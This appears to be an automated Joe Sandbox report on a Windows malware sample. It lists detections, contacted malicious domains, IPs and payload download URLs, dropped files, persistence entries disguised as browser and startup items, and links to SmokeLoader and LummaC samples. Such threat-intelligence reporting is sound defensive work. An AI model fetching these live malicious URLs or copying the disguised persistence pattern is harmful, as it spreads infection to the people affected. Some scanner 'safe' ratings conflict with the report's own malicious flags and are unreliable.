C:\Users\user\AppData\Roaming\jagvise	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3E6C.exe	39%	ReversingLabs
C:\Users\user\AppData\Local\Temp\77D2.exe	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\A723.exe	71%	ReversingLabs	Win32.Adware.RedCap
C:\Users\user\AppData\Local\Temp\Bookings	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C3F.exe	13%	ReversingLabs
C:\Users\user\AppData\Roaming\Result.exe	39%	ReversingLabs
C:\Users\user\AppData\Roaming\jagvise	61%	ReversingLabs	Win32.Trojan.OutSteel

Source	Detection	Scanner	Label
https://lotuseffectllc.com	0%	Avira URL Cloud	safe
http://wga2s.cc/tmp/index.php	0%	Avira URL Cloud	safe
https://lotuseffectllc.com/plugins/panel/uploads/Mwczjtflz.mp4	0%	Avira URL Cloud	safe
http://volisolsa.com.ua/tmp/index.php	0%	Avira URL Cloud	safe
https://upadaria.org/Vmujqcxm.exe	0%	Avira URL Cloud	safe
https://firemane.org/Birge.exe	0%	Avira URL Cloud	safe
https://lotuseffectllc.com/plugins/panel/uploads/Mwczjtflz.mp41PbOVxtHXhP2g/7AFwH2Lkw==	0%	Avira URL Cloud	safe
https://www.tazc.com.my/wp-content/images/pic4.jpg	0%	Avira URL Cloud	safe
http://d-s-p.ru/tmp/index.php	100%	Avira URL Cloud	malware
http://worldofmorgan.com/tmp/index.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
webdot.ddns.net	87.120.115.216	true	true	unknown
tazc.com.my	51.79.230.147	true	true	unknown
midginvineco.com	23.145.40.181	true	true	unknown
firemane.org	45.118.248.184	true	true	unknown
d-s-p.ru	58.151.148.90	true	true	unknown
upadaria.org	192.185.146.136	true	true	unknown
lotuseffectllc.com	192.185.175.158	true	false	unknown
www.tazc.com.my	unknown	unknown	true	unknown
kdtIFBJmLPfUAdsjOyiinDxA.kdtIFBJmLPfUAdsjOyiinDxA	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://firemane.org/Birge.exe	true	Avira URL Cloud: safe	unknown
http://wga2s.cc/tmp/index.php	true	Avira URL Cloud: safe	unknown
https://lotuseffectllc.com/plugins/panel/uploads/Mwczjtflz.mp4	false	Avira URL Cloud: safe	unknown
https://upadaria.org/Vmujqcxm.exe	true	Avira URL Cloud: safe	unknown
http://volisolsa.com.ua/tmp/index.php	true	Avira URL Cloud: safe	unknown
https://www.tazc.com.my/wp-content/images/pic4.jpg	true	Avira URL Cloud: safe	unknown
http://worldofmorgan.com/tmp/index.php	true	Avira URL Cloud: safe	unknown
http://d-s-p.ru/tmp/index.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000001.00000000.1713516731.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.0000000004095000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000001.00000000.1713516731.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.comcember	explorer.exe, 00000001.00000000.1717647686.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000001.00000000.1714985098.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/DFfe9ewf/test3/raw/refs/heads/main/msedgedriver.exe	RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	false		high
https://lotuseffectllc.com	3E6C.exe, 0000000C.00000002.3947321786.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.com	explorer.exe, 00000001.00000000.1717647686.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 00000001.00000000.1714596622.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1714204674.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1716009180.0000000009B60000.00000002.00000001.00040000.00000000.sdmp	false		high
https://www.autoitscript.com/autoit3/	Bookings.7.dr	false		high
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000001.00000000.1713516731.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/DFfe9ewf/test3/raw/refs/heads/main/chromedriver.exe	RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/q	explorer.exe, 00000001.00000000.1714985098.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000001.00000000.1717647686.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	3E6C.exe, 0000000C.00000002.3947321786.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1713516731.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/J	Bookings.7.dr	false		high
https://wns.windows.com/L	explorer.exe, 00000001.00000000.1717647686.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		high
https://word.office.com	explorer.exe, 00000001.00000000.1717647686.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	3E6C.exe, 0000000C.00000002.3947321786.0000000003027000.00000004.00000800.00020000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/DFfe9ewf/test3/raw/refs/heads/main/WebDriver.dll	RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000001.00000000.1713516731.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	A723.exe, 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmp, A723.exe, 00000007.00000000.3669719251.0000000000409000.00000002.00000001.01000000.00000006.sdmp, C3F.exe, 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmp, C3F.exe, 0000000E.00000000.4002122911.0000000000408000.00000002.00000001.01000000.0000000B.sdmp, A723.exe.1.dr, C3F.exe.1.dr, 77D2.exe.1.dr	false		high
https://lotuseffectllc.com/plugins/panel/uploads/Mwczjtflz.mp41PbOVxtHXhP2g/7AFwH2Lkw==	3E6C.exe, 0000000C.00000000.3893775169.0000000000A42000.00000002.00000001.01000000.00000008.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp, Result.exe.12.dr, 3E6C.exe.1.dr	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	3E6C.exe, 0000000C.00000000.3893775169.0000000000A42000.00000002.00000001.01000000.00000008.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp, Result.exe.12.dr, 3E6C.exe.1.dr	false		high
https://aka.ms/Vh5j3k	explorer.exe, 00000001.00000000.1713516731.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?&	explorer.exe, 00000001.00000000.1714985098.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354rCannot	RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://android.notify.windows.com/iOS	explorer.exe, 00000001.00000000.1717647686.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/jsonschema	3E6C.exe.1.dr	false		high
https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000001.00000000.1713516731.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.nuget.org/packages/Newtonsoft.Json.Bson	3E6C.exe, 0000000C.00000000.3893775169.0000000000A42000.00000002.00000001.01000000.00000008.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp, Result.exe.12.dr, 3E6C.exe.1.dr	false		high
https://api.msn.com/	explorer.exe, 00000001.00000000.1714985098.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.com_	explorer.exe, 00000001.00000000.1717647686.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com:443/en-us/feed	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of	explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
51.79.230.147	tazc.com.my	Canada	16276	OVHFR	true
58.151.148.90	d-s-p.ru	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	true
45.118.248.184	firemane.org	Hong Kong	134705	ITACE-AS-APItaceInternationalLimitedHK	true
192.185.175.158	lotuseffectllc.com	United States	46606	UNIFIEDLAYER-AS-1US	false
23.145.40.181	midginvineco.com	Reserved	22631	SURFAIRWIRELESS-IN-01US	true
101.99.94.162	unknown	Malaysia	45839	SHINJIRU-MY-AS-APShinjiruTechnologySdnBhdMY	true
192.185.146.136	upadaria.org	United States	46606	UNIFIEDLAYER-AS-1US	true
87.120.115.216	webdot.ddns.net	Bulgaria	25206	UNACS-AS-BG8000BurgasBG	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582512
Start date and time:	2024-12-30 19:41:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hoEtvOOrYH.exe renamed because original name is a hash value
Original Sample Name:	2a270773553cfdca5c1fdbf24d44f18c.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@30/31@13/8
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 96% Number of executed functions: 408 Number of non-executed functions: 88
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 3E6C.exe, PID 5796 because it is empty
Execution Graph export aborted for target RegAsm.exe, PID 6416 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: hoEtvOOrYH.exe

Simulations

Behavior and APIs

Time	Type	Description
13:42:19	API Interceptor	376731x Sleep call for process: explorer.exe modified
13:45:17	API Interceptor	1x Sleep call for process: A723.exe modified
13:45:39	API Interceptor	15x Sleep call for process: 3E6C.exe modified
13:45:51	API Interceptor	1x Sleep call for process: C3F.exe modified
13:45:54	API Interceptor	8x Sleep call for process: Result.exe modified
18:42:20	Task Scheduler	Run new task: Firefox Default Browser Agent 9CF14C09A2D67F43 path: C:\Users\user\AppData\Roaming\jagvise
18:45:43	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs
18:46:07	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SmartHomeSyncX.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51.79.230.147	Purchase Order.exe	Get hash	malicious	FormBook	Browse	www.malaya.live/hcfu/
58.151.148.90	PSyWSlhDa5.exe	Get hash	malicious	SmokeLoader	Browse	tnc-corp.ru/tmp/index.php
	1HGXcC63iu.exe	Get hash	malicious	SmokeLoader	Browse	nwgrus.ru/tmp/index.php
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	nwgrus.ru/tmp/index.php
	oRKal761Qm.exe	Get hash	malicious	LummaC, Go Injector, SmokeLoader	Browse	100xmargin.com/tmp/index.php
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
	n72I7qB2ss.exe	Get hash	malicious	SmokeLoader	Browse	mzxn.ru/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	gebeus.ru/tmp/index.php
	cOm0MmeV34.exe	Get hash	malicious	SmokeLoader	Browse	gebeus.ru/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	gebeus.ru/tmp/index.php
	file.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	gebeus.ru/tmp/index.php
23.145.40.181	3WaqgS34S7.exe	Get hash	malicious	SmokeLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
midginvineco.com	3WaqgS34S7.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.181

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
POWERVIS-AS-KRLGPOWERCOMMKR	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	119.69.3.69
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	112.155.155.23
	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	182.221.148.255
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	125.243.127.174
	xd.mips.elf	Get hash	malicious	Mirai	Browse	116.41.232.214
	telnet.ppc.elf	Get hash	malicious	Unknown	Browse	182.228.224.84
	armv7l.elf	Get hash	malicious	Mirai	Browse	116.40.79.14
	armv4l.elf	Get hash	malicious	Mirai	Browse	115.143.245.148
	armv6l.elf	Get hash	malicious	Mirai	Browse	112.146.154.107
	armv6l.elf	Get hash	malicious	Unknown	Browse	122.32.192.173
UNIFIEDLAYER-AS-1US	Airway bill details - Delivery receipt Contact Form no_45987165927 ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse	108.179.193.23
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	173.254.41.71
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	50.87.246.4
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	162.241.240.41
	https://its.piquedigital.com.br/maryland.gov/&adfs/ls/client-request-id=7c724&wa=wsignin10.html	Get hash	malicious	Unknown	Browse	108.179.253.82
	http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=h	Get hash	malicious	HTMLPhisher	Browse	162.241.149.91
	http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=h	Get hash	malicious	HTMLPhisher	Browse	162.241.149.91
	987656789009800.exe	Get hash	malicious	AgentTesla	Browse	162.241.62.63
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	142.5.37.64
	armv4l.elf	Get hash	malicious	Mirai	Browse	74.91.145.200
ITACE-AS-APItaceInternationalLimitedHK	vcimanagement.armv4l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.237.86.202
	vcimanagement.powerpc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.235.45.173
	vcimanagement.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.227.127.146
	vcimanagement.m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.235.45.170
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	154.194.208.251
	db0fa4b8db0333367e9bda3ab68b8042.spc.elf	Get hash	malicious	Mirai, Gafgyt	Browse	156.235.45.132
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	154.223.17.19
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	156.230.174.51
	HLMJbase.dll	Get hash	malicious	Unknown	Browse	45.204.213.99
	HLMJbase.dll	Get hash	malicious	Unknown	Browse	45.204.213.99
OVHFR	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	51.71.23.38
	5RaYXoKFn9.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	51.161.195.129
	5RaYXoKFn9.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	51.161.195.129
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	46.244.32.13
	armv6l.elf	Get hash	malicious	Mirai	Browse	51.71.11.76
	http://167.114.127.95/ISIS.sh	Get hash	malicious	Unknown	Browse	167.114.127.95
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	158.69.15.230
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	94.23.192.99
	hfs.exe	Get hash	malicious	Unknown	Browse	94.23.66.84
	armv5l.elf	Get hash	malicious	Mirai	Browse	139.99.86.60

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	web44.mp4.hta	Get hash	malicious	LummaC	Browse	192.185.175.158
	random.exe	Get hash	malicious	LummaC	Browse	192.185.175.158
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	192.185.175.158
	Supplier.bat	Get hash	malicious	Unknown	Browse	192.185.175.158
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	192.185.175.158
	NEW-DRAWING-SHEET.bat	Get hash	malicious	Unknown	Browse	192.185.175.158
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	192.185.175.158
	lumma.ps1	Get hash	malicious	LummaC	Browse	192.185.175.158
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	192.185.175.158
a0e9f5d64349fb13191bc781f81f42e1	web44.mp4.hta	Get hash	malicious	LummaC	Browse	51.79.230.147 45.118.248.184 192.185.146.136
	setup.exe	Get hash	malicious	LummaC	Browse	51.79.230.147 45.118.248.184 192.185.146.136
	SharkHack.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, zgRAT	Browse	51.79.230.147 45.118.248.184 192.185.146.136
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	51.79.230.147 45.118.248.184 192.185.146.136
	Set-up.exe	Get hash	malicious	LummaC	Browse	51.79.230.147 45.118.248.184 192.185.146.136
	#Setup.exe	Get hash	malicious	LummaC	Browse	51.79.230.147 45.118.248.184 192.185.146.136
	random.exe	Get hash	malicious	LummaC	Browse	51.79.230.147 45.118.248.184 192.185.146.136
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	51.79.230.147 45.118.248.184 192.185.146.136
	PI1EA8P74K.exe	Get hash	malicious	LummaC	Browse	51.79.230.147 45.118.248.184 192.185.146.136
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	51.79.230.147 45.118.248.184 192.185.146.136

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\Bookings	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse
	sXpIsdpkzy.exe	Get hash	malicious	Remcos	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	'Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	JSWunwO4rS.lnk	Get hash	malicious	LummaC Stealer	Browse
	Yn13dTQdcW.exe	Get hash	malicious	Vidar	Browse
	DM6vAAgoCw.exe	Get hash	malicious	Orcus, Xmrig	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1019
Entropy (8bit):	5.236946495216897
Encrypted:	false
SSDEEP:	24:YqHZ6T06Mhm4ymNib0O0bihmCetmKg6CUXyhmimKgbxdB6hmjmKgz0JahmcmKgbR:YqHZ6T06McoEb0O0bicCewHDUXycLHbR
MD5:	5D20D9B3F928AC964E07C561FD8A3F42
SHA1:	B702BE149FCF94831A975F2CD06B2DFE020D9632
SHA-256:	59A4F22870D7A7DC3339917C89FF6AF09FA762AF39F0624338FDDFF631730492
SHA-512:	30E5F275FFB475A403439C3A4DCC05F3E12A6914D93F20EB38AF3240A7F693A455C25C005A3681AB39C89BFAD9AE66FAAE3874B987FAC48BB6A5439194FDCEDC
Malicious:	false
